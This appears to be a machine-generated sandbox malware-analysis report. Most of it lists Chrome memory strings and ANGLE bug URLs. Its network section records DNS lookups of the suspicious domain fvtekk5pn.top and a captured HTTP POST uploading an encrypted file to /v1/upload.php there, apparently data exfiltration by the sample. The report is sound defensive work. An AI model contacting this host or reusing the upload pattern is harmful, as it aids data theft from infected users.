Source: chrome.exe, 00000004.00000003.2642016695.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642189057.00001CEC00F98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2642271667.00001CEC003A8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2664917201.00001CEC00679000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2662028553.00001CEC002D0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: global traffic DNS traffic detected: DNS query: home.fvtekk5pn.top
Source: global traffic DNS traffic detected: DNS query: fvtekk5pn.top
Source: global traffic DNS traffic detected: DNS query: www.google.com
Source: unknown HTTP traffic detected: POST /v1/upload.php HTTP/1.1Host: fvtekk5pn.topAccept: */*Content-Length: 464Content-Type: multipart/form-data; boundary=------------------------dcNTwi4Nd4Ms4ccX6XNClJData Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 63 4e 54 77 69 34 4e 64 34 4d 73 34 63 63 58 36 58 4e 43 6c 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 61 71 69 78 75 67 69 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 94 4c 7e e4 04 39 01 dd 34 55 59 7f 90 7a ca ef 3d b0 69 59 06 9f 36 e4 af e3 f2 e7 fc 43 c9 e0 7f 71 6c 2b a8 24 c4 2f b7 e8 f6 d7 46 33 88 c7 b0 67 3f c6 42 8d 6e 43 bd 69 7d 4c 37 f3 4f 37 d1 3a 1a c1 d7 32 ca df 61 2f 6f 33 36 3a 3c 8d d4 61 89 17 86 0b 0c b5 45 49 55 a1 29 c2 86 6f 6e 8f a9 45 be 14 67 21 f0 5d 14 2e 05 53 a9 72 81 e2 b7 ce 96 fe ac e5 7c 6b f8 8f c3 e2 e9 a3 08 1a e6 6d 00 18 e6 57 13 41 93 d6 17 39 26 70 80 ff c7 cb 2e 16 05 4a e0 32 bf e4 71 b4 46 6e 16 e6 00 e8 0f e4 b4 55 34 66 81 ab 13 10 fa 00 40 5d d5 60 7d 75 37 81 3d eb 18 67 49 6f be ba 49 1b ca b8 81 a4 ca df 6c 03 a0 6c 2d fa e7 43 64 2d 90 cd 3a 22 d3 23 c4 81 11 a4 f0 e4 a4 9b 0f f6 ba 8b 62 00 ff 91 e9 df b6 44 49 a7 78 57 d8 33 c1 70 f8 75 a2 5b 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 63 4e 54 77 69 34 4e 64 34 4d 73 34 63 63 58 36 58 4e 43 6c 4a 2d 2d 0d 0a Data Ascii: --------------------------dcNTwi4Nd4Ms4ccX6XNClJContent-Disposition: form-data; name="file"; filename="Kaqixugi.bin"Content-Type: application/octet-streamL~94UYz=iY6Cql+$/F3g?BnCi}L7O7:2a/o36:<aEIU)onEg!].Sr|kmWA9&p.J2qFnU4f@]`}u7=gIoIll-Cd-:"#bDIxW3pu[--------------------------dcNTwi4Nd4Ms4ccX6XNClJ--
Source: file.exe, 00000000.00000003.2125718375.0000000007382000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.css
Source: file.exe, 00000000.00000003.2125718375.0000000007382000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://.jpg
Source: chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663212551.00001CEC00494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2663212551.00001CEC00494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000004.00000002.2668405066.00001CEC00C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2637858510.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638401184.00001CEC00A14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2638371492.00001CEC0037C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://anglebug.com/6692
